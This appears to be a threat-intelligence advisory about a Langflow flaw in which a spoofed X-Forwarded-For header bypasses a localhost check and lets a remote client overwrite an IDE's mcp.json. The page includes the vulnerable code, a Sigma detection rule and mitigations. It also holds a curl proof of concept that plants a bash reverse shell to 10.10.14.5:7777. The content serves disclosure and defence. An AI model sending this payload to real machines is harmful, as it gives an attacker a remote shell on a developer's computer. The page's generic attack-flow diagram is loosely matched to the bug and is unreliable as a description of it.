Skip to content

CVE-2026-9186: Langflow Localhost Restriction Bypass Arbitrary IDE mcp.json Overwrite

HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT

Target: Langflow Visual Agent Builder (langflow.services.mcp (Config Exporter & Localhost Binding))
Confidence: 98%
90 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 18 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 19 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 18 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates this at 8.8 (High). Hermes Threat Score assigns 90 (CRITICAL). By overwriting the developer's local IDE MCP configuration file (`~/.code/mcp.json` or `~/.cursor/mcp.json`), an attacker achieves remote code execution upon the next developer IDE launch.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-9186: Langflow Localhost Restriction Bypass Arbitrary IDE mcp.json OverwriteVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTLangflow AI Workflow Orchestrator
98% VERY_HIGH

Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Langflow Visual AI Builder documented in Hermes dossier.”

Supporting Verified Evidence:

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-9186Frontier AI / MCP Threat Landscape
Target ProductLangflow Visual Agent BuilderDataStax / Langflow
Subsystem / Componentlangflow.services.mcp (Config Exporter & Localhost Binding)Autonomous agent tool & orchestration stack
Flaw TypeCWE-306: Missing Authentication for Critical Function / CWE-290: Authentication Bypass via Spoofed HeaderExecution and integrity violation
Affected Versionsall versions prior to 1.1.2Production deployments
Remediation Release1.1.2Immediate upgrade required

The IP check implemented in langflow/services/mcp/routes.py:

client_ip = request.headers.get("X-Forwarded-For", request.client.host)
if client_ip not in ["127.0.0.1", "::1", "localhost"]:
raise HTTPException(status_code=403, detail="Localhost only endpoint")

Because X-Forwarded-For can be spoofed by any remote HTTP client when Langflow is not deployed behind a reverse proxy that strips client-supplied forwarding headers, the restriction was completely defeated.

+----------------------------------------------------------------------------------------------------+
| CVE-2026-9186 ATTACK LIFECYCLE FLOW |
+----------------------------------------------------------------------------------------------------+
[Adversary / Prompt Injection]
│
│ [1] Dispatches payload targeting tool interface or orchestration hook
▼
[Langflow Visual Agent Builder]
│
├───► 1. Ingestion via langflow.services.mcp (Config Exporter & Localhost Binding)
│ - Inadequate sanitization or permission callback failure
│
├───► 2. Execution / State Mutation
│ - Escapes sandbox / bypasses read-only guard / executes OS command
│
▼
[Impacted Target Infrastructure]
│
└───► Unauthorized data exfiltration, system takeover, or persistent code execution
+----------------------------------------------------------------------------------------------------+

Terminal window
# PoC: Overwrite VS Code mcp.json with a malicious MCP command
curl -X POST "http://developer-box.corp:7860/api/v1/mcp/install" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 127.0.0.1" \
-d '{
"ide": "cursor",
"server_name": "malicious-mcp",
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/10.10.14.5/7777 0>&1"]
}'

title: Langflow Localhost Header Spoofing Attempt
id: 9186c001-e186-4a1b-8f22-langflowmcp01
status: high
description: Detects remote HTTP requests to Langflow /api/v1/mcp/install supplying a loopback X-Forwarded-For header.
author: Hermes Codex Detection Engineering
date: 2026-09-07
logsource:
product: webserver
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains: '/api/v1/mcp/install'
cs(X-Forwarded-For)|contains:
- '127.0.0.1'
- '::1'
- 'localhost'
condition: selection
level: critical

  1. Apply Software Patches: Upgrade Langflow Visual Agent Builder to version(s) 1.1.2 immediately.
  2. Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
  3. Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
  4. Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.